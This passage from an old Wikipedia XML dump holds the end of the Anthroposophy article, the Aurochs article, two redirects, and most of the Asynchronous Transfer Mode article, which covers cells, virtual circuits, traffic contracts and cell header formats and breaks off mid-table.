His students say that an obstacle to 'getting' Steiner, in this sense, is that reading for people today is rarely a process where the dynamic birth of a [[concept]] out of a pre-conceptual background is felt and recreated as we read each word.  They see one way of remaining within the process of Steiner's thinking, is to gradually learn through his works how to live consciously at the threshold where a concept comes into being. In this way they say, one is no longer confined to observing things that already are, instead one begins to see realities ''emerging'' into being, and that means seeing to some extent into 'non-being', and discovering there more than nothingness but a hidden life of creative non-material beings and processes in a non-material world.

==Successes of Anthroposophy==
Out of the anthroposophical movement have come nearly a thousand schools world-wide. These are often called [[Waldorf Schools]], after the first such school, founded in [[1919]]; they are also sometimes called Steiner Schools. Some have been supported by the United Nations and receive full or partial governmental funding in some European nations. They are successful in an unusual range of circumstances: in the impoverished ''barrios'' of San Paulo and the wealthy suburbs of New York City, in India, Egypt, Australia, Holland and Mexico. Usually supported by a vibrant parent community, they are one of the most visibly successful achievements of the anthroposophical movement. In addition, an increasing number of teachers are using 'Waldorf' principles in other school settings, often within the public (state) schools themselves.

[[Biodynamic agriculture]] began in the 1920s. Numerous bio-dynamic farms now exist in a great number of countries. Steiner must be counted as one of the two great founders of the modern [[organic farming]] movement (Steiner's ''Agriculture Course'' was the first published work on the subject), and much of the present-day organic movement can be traced back to people partially motivated by this impulse. Bio-dynamic agriculture emphasizes activating the life of the soil and creating each farm as a living organism that includes human beings, animals, plants and the soil.

Early in the twentieth century, when proper care for the handicapped was sadly ignored in many countries, anthroposophical homes and communities arose to give a worthy life-style to the needy. The first was the Sonnenhof in Switzerland, founded by [[Ita Wegman]]; slightly later, the [[Camphill Movement]] was founded by [[Karl Konig]] in Scotland. The latter in particular has spread widely, and there are now Camphill communities (as well as other anthroposophical homes) for both children and adults in many countries. 

In the arts, Steiner's new art of [[eurythmy]] gained early renown, gaining a prize at a pre-World War II World Exposition in Paris. Eurythmy is a renewal of the spiritual foundations of [[dance]], transforming speech and music into visible movement. There are now active stage groups and training centers, mostly of modest proportions, in many countries. 

John Wilkes' fountain-like Flow Forms can be found in many locations. These sculptural forms guide water into rhythmic movement, and are used both decoratively and for water purification in small to medium-scale applications. 

There are also movements to renew speech and drama. The former go back to the work of [[Marie Steiner-von Sivers]]; among the better known of the latter is the approach founded by [[Michael Chekhov]], the nephew of the famous playwright: Anton Chekhov.

[[Bernard Lievegoed]] founded a new study of individual and institutional development; this is represented by the [[NPI Institute for Organisational Development]] in Holland and sister organizations in many other countries. Clients of these insitutions range from some of the world's largest industrial firms to ordinary people trying to understand their own lives. One of the more interesting areas of application has been in transforming impoverished people's lives by bringing them to recognize and begin to realize their own biographical goals. Social work with prisoners shares these goals and has had the effect of bringing new purpose into many lives.

Other fields of success include an original [[cancer]] therapy based on [[mistletoe]] extracts developed by anthroposophical researchers. This however reamins medically controversial. 

Anthroposophical [[banks]] were among the first to emphasize socially-responsible and community-based banking.

==Critiques of Anthroposophy==  
Some critics maintain that some anthroposophists tend to elevate Steiner's personal opinions to the level of absolute truths. Supporters claim that if there is a degree of truth to this criticism, most of the blame belongs not to Steiner, but to a few of his students. They point out that Steiner frequently asked that everything he said be tested by sound reason, and not to be taken on faith or authority. 

A fundamental question underlying the modern response to 'spiritual science' is: Is it possible for one's thinking to be both scientific and spiritually cognitive at once? Anthroposophy claims that this is possible.  This is problematic for those who hold that all spiritual experience is innately religious rather than cognitive. This question has actually been partially tested in the courts; in a 2005 court case, the Federal Court of California found that there was not a single piece of legally admissible evidence that Anthroposophy was in any sense a religion.

==See also==
Further description of concrete activities emerging from Anthroposophy can be found under the Wikipedia's [[Rudolf Steiner]] article. 

==References==
Rudolf Steiner, Intuitive Thinking As a Spiritual Path: A Philosophy of Freedom, Steiner Books, 1995.

==External links==
* [http://www.goetheanum.ch/ Anthroposophic Society (Goetheanum)]
* [http://www.rsarchive.org/ Rudolf Steiner Archive] (online works, see especially the [http://www.rsarchive.org/Books/ Books section]) 
* [http://www.anthroposophy.net/ The Anthroposophy Network]
* [http://antroposofi.org/ Anthroposophy in Words and Images] (English and Swedish)
* [http://www.sab.org.br/ Sociedade Antroposófica no Brasil]
* [http://www.anthroposophyindia.org/ Anthroposophical Initiatives in India]
* [http://www.anthroposophy.org/ Anthroposophical Society in America]
* [http://eyelight.webservepro.com/anthroposophy/introRS.html Article: Rudolf Steiner introduced by Owen Barfield.] ([[Owen Barfield]]'s ideas and writings were a significant influence on [[C.S. Lewis]] (Anglican) and [[J. R. R. Tolkien]] (Catholic), though neither of whom were anthroposophists. At the end of the article, Barfield uses the Latin phrase, ''&quot;homo imaginans et amans&quot;'' which means &quot;man imagining and loving&quot;.)
* [http://www.cancer.gov/cancertopics/pdq/cam/mistletoe Study by the National Cancer Institute on mistletoe's use for treating cancer]

==Critical views==
Anthroposophy has had many prominent supporters. Among the supporters have been many writers, artists and musicians; these include [[Andrej Bely]], [[Bruno Walter]], [[Josef Beuys]], and [[Wassily Kandinsky]]. There have also been critical voices, however. The criticisms can be grouped thematically as follows:

-Criticisms of its claim to reproducibility and intersubjectivity, thus to a scientific foundation. 

-Criticisms that a spiritual movement must necessarily be, or that anthroposophy particularly is, religious in nature. (In a 2005 court case brought in California, however, the judge ruled that there is no legally admissible evidence that anthroposophy is a religion; see [http://www.waldorfanswers.org/TrialTranscript-2005-09-12.pdf transcipt of the  trial]; this case is under appeal.)

-Criticisms of some of Steiner's published comments for their apparently racist content; see the [http://uncletaz.com/steinerrace.html final report of the Commission on &quot;Anthroposophy and the Question of Race&quot;], which concludes that though by far the general trend of Steiner's thought, writings and lectures was strongly opposed to racism, a few of his stenographed comments certainly sound racist to modern ears.
* [http://www.skepdic.com/steiner.html The Skeptic's Dictionary] is more sympathetic than usual to a new religious esoteric movement.

[[Category:Anthroposophy| ]]
[[Category:Esoteric Christianity]]
[[Category:Esoteric schools of thought]]

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  <page>
    <title>Aurochs</title>
    <id>2494</id>
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      <timestamp>2006-03-02T21:09:59Z</timestamp>
      <contributor>
        <username>Violetriga</username>
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      <comment>/* External links */ remove one commercial link</comment>
      <text xml:space="preserve">{{Taxobox
| color = pink
| name = Aurochs
| status = {{StatusExtinct|when=[[1627]]}}
| image = Lascaux.jpg
| image_width = 200px
| image_caption = Cave painting of aurochs
| regnum = [[Animal]]ia
| phylum = [[Chordate|Chordata]]
| classis = [[Mammal]]ia
| ordo = [[Artiodactyla]]
| familia = [[Bovidae]]
| subfamilia = [[Bovinae]]
| genus = '''''[[Bos]]'''''
| species = '''''B. primigenius'''''
| trinomial = ''Bos primigenius namadicus''
| trinomial_authority = ([[Falconer]], [[1859]])
| trinomial2 = ''Bos primigenius mauretanicus''
| trinomial2_authority = ([[Oldfield Thomas|Thomas]], [[1881]])
| trinomial3 = ''Bos primigenius primigenius''
| trinomial3_authority = ([[Ludwig Heinrich Bojanus|Bojanus]], [[1827]])
}}

The '''aurochs''' (''Bos primigenius'') is an [[extinct]] European [[mammal]] of the [[Bovidae]] family. The word ''aurochs'' is both singular and plural; alternative plural forms are ''aurochsen'' or ''urus''.  The animal's original scientific name, ''Bos primigenius'', translated the [[German language|German]] term ''Auerochse'' or ''Urochs'', literally &quot;primeval ox&quot;, or &quot;proto-ox&quot;. This scientific name is now considered invalid by [[ITIS]], who classify aurochs under ''Bos taurus'', the same species as domestic cattle. However, in 2003, the [[International Commission on Zoological Nomenclature]] &quot;conserved the usage of 17 specific names based on wild species, which are pre-dated by or contemporary with those based on domestic forms&quot;, confirming ''Bos primigenius'' for the Aurochs. Taxonomists who consider  domesticated [[cattle]] a subspecies of the wild Aurochs should use ''B. primigenius taurus''; the name ''B. taurus'' remains available for domestic cattle where it is considered to be a separate species. 


==Origin==
According to the [[Paleontologisk Museum]], [[University of Oslo]], aurochs evolved in [[India]] some two million years ago, migrated into the [[Middle East]] and further into [[Asia]], and reached [[Europe]] about 250,000 years ago. They were once considered a distinct species from modern European [[cattle]] (''Bos taurus''), but more recent taxonomy has rejected this distinction. The South Asian domestic cattle, or [[zebu]], descended from a different group of aurochs at the edge of the [[Thar Desert]] in [[India]]; this would explain [[zebu]] resistance to [[drought]]. Domestic [[yak]], [[gayal]] and [[Javan cattle]] do not descend from aurochs. Modern cattle have become much smaller than their wild forebears: the height at the [[withers]] of a domesticated cow is about 1.4 meters, whereas an aurochs could reach about 1.75 meters.

=== Subspecies ===
At one time there existed three aurochs subspecies, namely ''Bos primigenius namadicus'' (Falconer, 1859) that occurred in India, the ''Bos primigenius mauretanicus'' (Thomas, 1881) from North Africa and naturally the ''Bos primigenius primigenius'' Bojanus, 1827 from Europe and the Middle East. Only the European subspecies has survived until in recent times.

==The worship of aurochs==
:''See also [[Bull (mythology)]].''

Aurochs are depicted in many Paleolithic European [[cave painting]]s such as those found at [[Lascaux]] and [[Livernon]] in [[France]]. Their life force may have been attributed with magical qualities, for early carvings of the aurochs have also been found. The impressive and dangerous aurochs survived into the [[Iron Age]] in [[Anatolia]] and the [[Near East]], and was worshiped throughout that area as a sacred animal, the [[Bull (mythology)|Lunar Bull]], associated with the [[Great Goddess]] and later with [[Mithras]].

A [[1999]] archaeological dig in [[Peterborough]], England, uncovered the skull of an aurochs. The front part of the skull had been removed but the horns remained attached. The supposition is that the killing of the aurochs in this instance was a sacrificial act.

The Aurochs were also the symbol of [[Moldavia]]; nowadays they can be found in the coat of arms of both [[Romania]] and [[Moldova]].

==Domestication and extinction==
Domestication of the aurochs began in the southern [[Caucasus]] and northern [[Mesopotamia]] from about the [[6th millennium BC]], while genetic evidence suggests that aurochs were independently domesticated in northern [[Africa]] and in [[India]]. Domestication caused dramatic changes to the physiology of the creatures, to the extent that domestic cattle must now be regarded as a separate species (see above). 

Genetic analysis has provided many insights about the aurochs. Though aurochs became extinct in Britain during the [[Bronze age]], analysis of bones from aurochs that lived contemporaneously with domesticated cattle there showed no genetic contribution to modern breeds. So modern European cattle are thought to be descended directly from the Near East domestication event. Indian cattle ([[zebu]]), although domesticated eight to ten thousand years ago, are related to aurochs which diverged from the Near Eastern ones some 200,000 years ago. The African cattle are thought to descend from aurochs more closely related to the Near Eastern ones. The Near East and African aurochs groups are thought to have split some 25,000 years ago, probably 15,000 years before domestication. The &quot;Turano-Mongolian&quot; type of cattle now found in Northern China, Mongolia, Korea and Japan may represent a fourth domestication event (and a third event among ''Bos taurus''&amp;ndash;type aurochs). This group may have diverged from the Near East group some 35,000 years ago. Whether these separate genetic populations would have equated to separate subspecies is unclear.

[[Image:Jaktorow pomnik tura.jpg|right|thumb|200px|left|Monument to the last aurochs in Jaktorów]]

The original range of the aurochs was from the British Isles, to Africa, the Middle East, India and central Asia. By the 13th century A.D., the aurochs' range was restricted to Poland, Lithuania and East Prussia. The right to hunt large animals on any land was restricted to nobles and gradually to the royal household. As the population of aurochs declined, hunting ceased but the royal court still required gamekeepers to provide open fields for the aurochs to graze in. The gamekeepers were exempted from local taxes in exchange for their service and a decree made poaching an aurochs punishable by death. In 1564, the gamekeepers knew of only 38 animals, according to the royal survey. The last recorded live aurochs (female) died in [[1627]] in the Jaktorów Forest, [[Poland]].

In the [[1920s]] two German zookeepers, the brothers Heinz and Lutz Heck, attempted to breed the aurochs back into existence (see [[Breeding_back|breeding back]]) from the domestic cattle that were their descendants. Their plan was based on the conception that a species is not extinct as long as all its genes are still present in a living population. The result is the breed called [[Heck Cattle]], 'Recreated Aurochs', or 'Heck Aurochs', which bears an incomplete resemblance to what is known about the physiology of the wild aurochs.

== See also ==
* [[Wisent]]
* [[Ur (rune)]]

== References ==
* Don E. Wilson and DeeAnn M. Reeder; ''Mammals''
* International Commission on Zoological Nomenclature. 2003. Opinion 2027 (Case 3010). Usage of 17 specific names based on wild species which are pre-dated by or contemporary with those based on domestic animals (Lepidoptera, Osteichthyes, Mammalia): conserved. Bull.Zool.Nomencl., 60:81-84.

== External links ==
*[http://www.petermaas.nl/extinct/speciesinfo/aurochs.htm The Extinction Website - Aurochs (''Bos primigenius primigenius'')]
*[http://www.aristotle.net/~swarmack/aurohist.html History of aurochs in Poland]

[[Category:Extinct mammals]]
[[Category:Bovines]]
[[Category:Pliocene mammals]]
[[Category:Pleistocene mammals]]
[[Category:Prehistoric artiodactyls]]
[[Category:Recent extinctions]]

[[da:Urokse]]
[[de:Auerochse]]
[[es:Uro]]
[[eo:Uro]]
[[fr:Aurochs]]
[[it:Bos taurus primigenius]]
[[he:שור הבר האירופי]]
[[nl:Oeros]]
[[no:Urokse]]
[[pl:Tur]]
[[pt:Auroque]]
[[ro:Bour]]
[[fi:Alkuhärkä]]
[[sv:Uroxe]]</text>
    </revision>
  </page>
  <page>
    <title>Auroch</title>
    <id>2495</id>
    <revision>
      <id>15900902</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Aurochs]]
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  </page>
  <page>
    <title>Aetiology</title>
    <id>2496</id>
    <revision>
      <id>15900903</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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      <minor />
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      <text xml:space="preserve">#REDIRECT [[Etiology]]
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  </page>
  <page>
    <title>Asynchronous Transfer Mode</title>
    <id>2499</id>
    <revision>
      <id>41676323</id>
      <timestamp>2006-03-01T00:15:57Z</timestamp>
      <contributor>
        <username>Ino5hiro</username>
        <id>314542</id>
      </contributor>
      <comment>/* Traffic Policing */ Fixing abhorrent grammar.</comment>
      <text xml:space="preserve">'''Asynchronous Transfer Mode''', or '''ATM''' for short, is a [[cell relay]] [[network protocol]] which encodes data traffic into small fixed-sized (53 byte; 48 bytes of data and 5 bytes of header information) cells instead of variable sized ''packets'' as in [[packet switching|packet-switched networks]] (such as the [[Internet Protocol]] or [[Ethernet]]). It is a [[connection-oriented]] technology, in which a connection is established between the two endpoints before the actual data exchange begins.

==Introduction==
ATM was intended to provide a single unified networking standard that could support both [[Synchronous vs. Asynchronous Signalling|synchronous]] channel networking ([[PDH]], [[SDH]]) and packet-based networking ([[Internet Protocol|IP]], [[Frame relay]], etc), whilst supporting multiple levels of [[quality of service]] for packet traffic.

ATM sought to resolve the conflict between [[circuit switching|circuit-switched]] networks and [[packet switching|packet-switched]] networks by mapping both bitstreams and packet-streams onto a stream of small fixed-size 'cells' tagged with [[virtual circuit]] identifiers. The cells are typically sent on demand within a synchronous time-slot pattern in a synchronous bit-stream: what is asynchronous here is the sending of the cells, not the low-level bitstream that carries them.

In its original conception, ATM was to be the enabling technology of the 'Broadband Integrated Services Digital Network' ([[B-ISDN]]) that would replace the existing [[PSTN]]. The full suite of ATM standards provides definitions for [[physical layer|layer 1]] (physical connections), [[data link layer|layer 2]] (data link layer) and [[network layer|layer 3]] (network) of the classical [[Open Systems Interconnection|OSI]] [[OSI model|seven-layer networking model]]. The ATM standards drew on concepts from the telecommunications community, rather than the computer networking community. For this reason, extensive provision was made for integration of most existing [[Telephone company|telco]] technologies and conventions into ATM. 

As a result, ATM provides a highly complex technology, with features intended for applications ranging from global telco networks to private local area computer networks. ATM has been a partial success as a technology, with widespread deployment, but generally only used as a transport for IP traffic; its goal of providing a single integrated technology for LANs, public networks, and user services has largely failed.

== Successes and Failures of ATM Technology ==
Numerous [[telephone company|telco]]s have implemented wide-area ATM networks, and many [[Asymmetric Digital Subscriber Line|ADSL]] implementations use ATM. However, ATM has failed to gain wide use as a [[Local area network|LAN]] technology, and its great complexity has held back its full deployment as the single integrating network technology in the way that its inventors originally intended.

Many people, particularly in the Internet protocol-design community, considered this vision to be mistaken.  Their argument went something like this:  We know that there will always be both brand-new and obsolescent link-layer technologies, particularly in the LAN area, and it is fair to assume that not all of them will fit neatly into the [[SDH]] model that ATM was designed for.  Therefore, some sort of protocol is needed to provide a unifying layer over both ATM and non-ATM link layers, and ATM itself cannot fill that role.  Conveniently, we have this protocol called &quot;IP&quot; which already does that.  Ergo, there is no point in implementing ATM at the network layer.

In addition, the need for cells to reduce jitter has disappeared as transport speeds increased (see below), and improvements in [[voice over IP]] have made the integration of speech and data possible at the IP layer, again removing the incentive for ubiquitous deployment of ATM. Most telcos are now planning to integrate their voice network activities into their IP networks, rather than their IP networks into the voice infrastructure.

Many technically sound ideas from ATM were adopted by [[MPLS]], a generic [[Layer 2]] packet switching protocol. ATM remains widely deployed, and is used as a [[multiplexing]] service in [[Digital Subscriber Line|DSL]] networks, where its compromises fit DSL's low-data-rate needs well. In turn, DSL networks support IP (and IP services such as VoIP) via [[Point-to-Point Protocol over ATM|PPP over ATM]]. 

ATM will remain deployed for some time in higher-speed interconnects where carriers have already committed themselves to existing ATM deployments; ATM is used here as a way of unifying [[PDH]]/SDH traffic and packet-switched traffic under a single infrastructure.

However, ATM is increasingly challenged by speed and traffic shaping requirements of [[converged networks]]. In particular, the complexity of [[Segmentation and Reassembly|SAR]] imposes a performance bottleneck, as the fastest SARs known run at 2.5 Gbit/s and have limited traffic shaping capabilities.

Currently it seems like [[Ethernet]] implementations (10Gbit-Ethernet, [[MetroEthernet]]) will
replace ATM in many locations.
Enables convergence of Voice, Video, Data on one network

== Recent Developments ==
Interest in using native ATM for carrying live video and audio has increased recently. In these environments, low latency and very high quality of service are required to handle linear audio and video streams.  Towards this goal standards are being developed such as [[AES47]] ([[IEC 62365]]), which would compete with [[professional video over IP]].

==ATM Concepts==
===Why Cells?===
The motivation for the use of small data ''cells'' was the reduction of [[jitter]] (delay variance, in this case) in the multiplexing of data streams; reduction of this (and also end-to-end round-trip delays) is particularly important when carrying voice traffic.

This is because the conversion of digitized voice back into an analog audio signal is an inherently [[real time|real-time]] process, and to do a good job, the [[codec]] that does this needs an evenly spaced (in time) stream of data items. If the next data item is not available when it is needed, the codec has no choice but to produce silence - and if the data does arrive, but late, it is useless, because the time period when it should have been converted to a signal has already passed.

Now consider a speech signal reduced to packets, and forced to share a link with bursty data traffic (i.e. some of the data packets will be large). No matter how small the speech packets could be made, they would always encounter full-size data packets, and under normal queuing conditions, might experience maximum queuing delays.

At the time ATM was designed, 155 Mbit/s [[SDH]] (135 Mbit/s payload) was considered a fast optical network link, and many [[PDH]] links in the digital network were considerably slower, ranging from 1.544 to 45 Mbit/s in the USA (2 to 34 Mbit/s in Europe).

At this rate, a typical full-length 1500 byte (12000 bit) data packet would take 89 [[microsecond|µs]] to transmit. In a lower-speed link, such as a 1.544 Mbit/s T1 link, a 1500 byte packet would take up to 7.8 milliseconds. 

A queueing delay induced by several such data packets might be several times the figure of 7.8 ms, in addition to any packet generation delay in the shorter speech packet. This was clearly unacceptable for speech traffic, which needs to have low jitter in the data stream being fed into the codec if it is to produce good-quality sound. A packet voice system can produce this in a number of ways:

* Have a playback buffer between the network and the codec, one large enough to tide the codec over almost all the jitter in the data. This allows smoothing out the jitter, but the delay introduced by passage through the buffer would be such that echo cancellers would be required even in local networks; this was considered too expensive at the time. Also, it would have increased the delay across the channel, and human conversational mechanisms tend not to work well with high-delay channels.

* Build a system which can inherently provide low-jitter (and minimal overall delay) to traffic which needs it.

* Operate on a 1:1 user basis (i.e., a dedicated pipe).

ATM was designed to implement a low-jitter network interface. However, to be able to provide short queueing delays, but also be able to carry large datagrams, it had to have cells. ATM broke all packets, data, and voice streams up into 48-byte chunks, adding a 5-byte routing header to each one so that they could be reassembled later. It multiplexed these 53-byte cells instead of packets. Doing so reduced the worst-case queuing jitter by a factor of almost 30, removing the need for echo cancellers.

===Cells In Practice===
The rules for segmenting and reassembling packets and streams into cells are known as [[ATM Adaptation Layers]].  The most important two are AAL 1, used for streams, and [[ATM Adaptation Layer 5|AAL 5]], used for most types of packets. Which AAL is in use for a given cell is not encoded in the cell. Instead, it is negotiated by or configured at the endpoints on a per-virtual-connection basis.

Since ATM was designed, networks have become much faster. As of 2001, a 1500 byte (12000 bit) full-size Ethernet packet will take only 1.2 µs to transmit on a 10 Gbit/s optical network, removing the need for small cells to reduce jitter. Some consider that this removes the need for ATM in the network backbone. Additionally, the hardware for implementing the service adaptation for IP packets is expensive at very high speeds. Specifically, the cost of segmentation and reassembly (SAR) hardware at [[OC-3]] and above speeds makes ATM less competitive for IP than [[Packet over SONET/SDH|Packet Over SONET]] (POS). SAR performance limits mean that the fastest IP router ATM interfaces are OC12 - OC48 (STM4 - STM16), while (as of 2004) POS can operate at OC-192 (STM64) with higher speeds expected in the future.

On slow links (2 Mbit/s and below) ATM still makes sense, and this is why so many ADSL systems use ATM as an intermediate layer between the physical link layer and a Layer 2 protocol like PPP or Ethernet. 

At these lower speeds, ATM's ability to carry multiple logical circuits on a single physical or virtual medium provides a compelling business advantage. DSL can be used as an access method for an ATM network, allowing a DSL termination point in a telephone central office to connect to many internet service providers across a wide-area ATM network. In the United States, at least, this has allowed DSL providers to provide DSL access to the customers of many internet service providers. Since one DSL termination point can support multiple ISPs, the economic feasibility of DSL is substantially improved.

===Why Virtual Circuits?===
ATM is a channel based transport layer. This is encompassed in the concept of the Virtual Path (VP) and Virtual Circuit (VC). Every ATM cell has an 8- or 12-bit Virtual Path Identifier (VPI) and 16-bit Virtual Circuit Identifer (VCI) pair defined in its header. The length of the VPI varies according to whether the cell is sent on the user-network interface (on the edge of the network), or if it is sent on the network-network interface (inside the network).

As these cells traverse an ATM network, switching is achieved by changing the VPI/VCI values. Although the VPI/VCI values are not necessarily consistent from one end of the connection to the other, the concept of a circuit ''is'' consistent (unlike IP, where any given packet could get to its destination by a different route than the others).

Another advantage of the use of virtual circuits is the ability to use them as a multiplexing layer, allowing different services (such as voice, [[Frame relay|Frame Relay]], n*64 channels, IP, [[Systems Network Architecture|SNA]], etc.) to share a common ATM connection without interfering with one another.

===Using Cells and Virtual Circuits For Traffic Engineering===
Another key ATM concept is that of the traffic contract. When an ATM circuit is set up each switch is informed of the traffic class of the connection.

ATM traffic contracts are part of the mechanism by which &quot;[[Quality of Service]]&quot; (QoS) is ensured. There are three basic types (and several variants) which each have a set of parameters describing the connection.

* CBR - Constant bit rate: you specify a Peak Cell Rate (PCR), which is constant.
* VBR - Variable bit rate: you specify an average cell rate, which can peak at a certain level for a maximum interval before being problematic.
* ABR - Available bit rate: you specify a minimum guaranteed rate.
* UBR - Unspecified bit rate: your traffic is allocated all remaining transmission capacity.

VBR has [[Real-time|real-time]] and non-real-time variants, and is used for &quot;bursty&quot; traffic.

Most traffic classes also introduce the concept of Cell Delay Variation Time (CDVT) which defines the &quot;clumping&quot; of cells in time.

Traffic contracts are usually maintained by the use of &quot;Shaping&quot;, a combination of queuing and marking of cells, and enforced by &quot;Policing&quot;.

====Traffic Shaping====
[[Traffic shaping]] is usually done at the entry point to an ATM network and attempts to ensure that the cell flow will meet its traffic contract.

====Traffic Policing====
To maintain network performance it is possible to police virtual circuits against their traffic contracts. If a circuit is exceeding its traffic contract, the network can either drop the cells or mark the Cell Loss Priority (CLP) bit (to identify a cell as discardable further down the line). Basic policing works on a cell by cell basis, but this is sub-optimal for encapsulated packet traffic (as discarding a single cell will invalidate the whole packet). As a result, schemes such as Partial Packet Discard (PPD) and Early Packet Discard (EPD) have been created that will discard a whole series of cells until the next frame starts. This reduces the number of redundant cells in the network, saving bandwidth for full frames. EPD and PPD work with AAL5 connections as they use the frame end bit to detect the end of packets.

===Types of Virtual Circuits and Paths===
Virtual circuits and virtual paths can be built statically or dynamically. Static circuits (permanent virtual circuits or PVCs) or paths (permanent virtual paths or PVPs) require that the provisioner must build the circuit as a series of segments, one for each pair of interfaces through which it passes. 

PVPs and PVCs are conceptually simple, but require significant effort in large networks. They also do not support the re-routing of service in the event of a failure. Dynamically built PVPs (soft PVPs or SPVPs) and PVCs (soft PVCs or SPVCs), in contrast, are built by specifying the characteristics of the circuit (the service &quot;contract&quot;) and the two endpoints. 

Finally, switched virtual circuits (SVCs) are built and torn down on demand when requested by an end piece of equipment. One application for SVCs is to carry individual telephone calls when a network of telephone switches are inter-connected by ATM. SVCs were also used in attempts to replace local area networks with ATM.

===Virtual Circuit Routing and Call Admission===
Most ATM networks supporting SPVPs, SPVCs, and SVCs use the Private Network Node Interface or Private Network-to-Network Interface (PNNI) protocol. PNNI uses the same shortest path first algorithm used by [[Open Shortest Path First|OSPF]] and [[IS-IS]] to route IP packets to share topology information between switches and select a route through a network. PNNI also includes a very powerful summarization mechanism to allow construction of very large networks, as well as a call admission control (CAC) algorithm that determines whether sufficient bandwidth is available on a proposed route through a network to satisfy the service requirements of a VC or VP.

==Structure of An ATM Cell==
An ATM cell consists of a 5 byte header and a 48 byte payload. The payload size of 48 bytes was a compromise between the needs of voice telephony and packet networks, obtained by a simple averaging of the US proposal of 64 bytes and European proposal of 32, said by some to be motivated by a European desire not to need echo-cancellers on national trunks.

ATM defines two different cell formats: NNI (Network-network interface) and UNI (User-network interface). Most ATM links use UNI cell format.

&lt;table width=&quot;100%&quot;&gt;&lt;tr&gt;&lt;td&gt;
'''Diagram of the UNI ATM Cell'''

 {| style=&quot;width: 50%; text-align: left;&quot; border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;
|-----
| style=&quot;vertical-align: top; text-align: center; white-space: nowrap; width: 12%;&quot; | 7
| style=&quot;vertical-align: top; text-align: center; white-space: nowrap; width: 12%;&quot; | &lt;br&gt;

| style=&quot;vertical-align: top; text-align: center; white-space: nowrap; width: 12%;&quot; | &lt;br&gt;

| style=&quot;vertical-align: top; text-align: center; white-space: nowrap; width: 12%;&quot; | 4&lt;br&gt;

| style=&quot;vertical-align: top; text-align: center; white-space: nowrap; width: 12%;&quot; | 3&lt;br&gt;

| style=&quot;vertical-align: top; text-align: center; white-space: nowrap; width: 12%;&quot; | &lt;br&gt;

| style=&quot;vertical-align: top; text-align: center; white-space: nowrap; width: 12%;&quot; | &lt;br&gt;

| style=&quot;vertical-align: top; text-align: center; white-space: nowrap; width: 12%;&quot; | 0&lt;br&gt;
|-----
| colspan=&quot;4&quot; rowspan=&quot;1&quot; style=&quot;background-color: rgb(102, 255, 255); vertical-align: top; text-align: center; white-space: nowrap; width: 12%;&quot; | GFC
| colspan=&quot;4&quot; rowspan=&quot;1&quot; style=&quot;vertical-align: top; text-align: center; white-space: nowrap; width: 12%; background-color: rgb(255, 204, 255);&quot; | VPI&lt;br&gt;
|-----
| colspan=&quot;4&quot; rowspan=&quot;1&quot; style=&quot;vertical-align: top; text-align: center; white-space: nowrap; width: 12%; background-color: rgb(255, 204, 255);&quot; | VPI&lt;br&gt;

| colspan=&quot;4&quot; rowspan=&quot;1&quot; style=&quot;vertical-align: top; text-align: center; white-space: nowrap; width: 12%; background-color: rgb(255, 255, 153);&quot; | VCI&lt;br&gt;
|-----
| colspan=&quot;8&quot; rowspan=&quot;1&quot; style=&quot;vertical-align: top; text-align: center; white-space: nowrap; width: 12%; background-color: rgb(255, 255, 153);&quot; | VCI&lt;br&gt;
|-----
| colspan=&quot;4&quot; rowspan=&quot;1&quot; style=&quot;vertical-align: top; text-align: center; white-space: nowrap; width: 12%; background-color: rgb(255, 255, 153);&quot; | VCI
| colspan=&quot;3&quot; rowspan=&quot;1&quot; style=&quot;vertical-align: top; text-align: center; white-space: nowrap; width: 12%; background-color: rgb(255, 255, 204);&quot; | PT
| style=&quot;vertical-align: top; text-align: center; white-space: nowrap; width: 12%; background-color: rgb(255, 204, 204);&quot; | CLP&lt;br&gt;
|-----
| colspan=&quot;8&quot; rowspan=&quot;1&quot; style=&quot;vertical-align: top; text-align: center; white-space: nowrap; width: 12%; background-color: rgb(153, 255, 153);&quot; | HEC
|-----
| colspan=&quot;8&quot; rowspan=&quot;1&quot; style=&quot;background-color: rgb(204, 204, 204); vertical-align: top; text-align: center; white-space: nowrap; width: 12%;&quot; | &lt;br&gt;
&lt;br&gt;
&lt;br&gt;
&lt;br&gt;
Payload (48 bytes)&lt;br&gt;
&lt;br&gt;
&lt;br&gt;
&lt;br&gt;
|}
&lt;/td&gt;
&lt;td&gt;
'''Diagram of the NNI ATM Cell'''

 {| style=&quot;width: 50%; text-align: left;&quot; border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;
|-----
| style=&quot;vertical-align: top; text-align: center; white-space: nowrap; width: 12%;&quot; | 7
| style=&quot;vertical-align: top; text-align: center; white-space: nowrap; width: 12%;&quot; | &lt;br&gt;
| style=&quot;vertical-align: top; text-align: center; white-space: nowrap; width: 12%;&quot; | &lt;br&gt;
| style=&quot;vertical-align: top; text-align: center; white-space: nowrap; width: 12%;&quot; | 4&lt;br&gt;
| style=&quot;vertical-align: top; text-align: center; white-space: nowrap; width: 12%;&quot; | 3&lt;br&gt;
| style=&quot;vertical-align: top; text-align: center; white-space: nowrap; width: 12%;&quot; | &lt;br&gt;
| style=&quot;vertical-align: top; text-align: center; white-space: nowrap; width: 12%;&quot; | &lt;br&gt;
| style=&quot;vertical-align: top; text-align: center; white-space: nowrap; width: 12%;&quot; | 0&lt;br&gt;
|-----
| colspan=&quot;8&quot; rowspan=&quot;1&quot; style=&quot;vertical-align: top; text-align: center; white-space: nowrap; width: 12%; background-color: rgb(255, 204, 255);&quot; | VPI&lt;br&gt;
|-----
| colspan=&quot;4&quot; rowspan=&quot;1&quot; style=&quot;vertical-align: top; text-align: center; white-space: nowrap; width: 12%; background-color: rgb(255, 204, 255);&quot; | VPI&lt;br&gt;

| colspan=&quot;4&quot; rowspan=&quot;1&quot; style=&quot;vertical-align: top; text-align: center; white-space: nowrap; width: 12%; background-color: rgb(255, 255, 153);&quot; | VCI&lt;br&gt;
|-----
| colspan=&quot;8&quot; rowspan=&quot;1&quot; style=&quot;vertical-align: top; text-align: center; white-space: nowrap; width: 12%; background-color: rgb(255, 255, 153);&quot; | VCI&lt;br&gt;
|-----
| colspan=&quot;4&quot; rowspan=&quot;1&quot; style=&quot;vertical-align: top; text-align: center; white-space: nowrap; width: 12%; background-color: rgb(255, 255, 153);&quot; | VCI
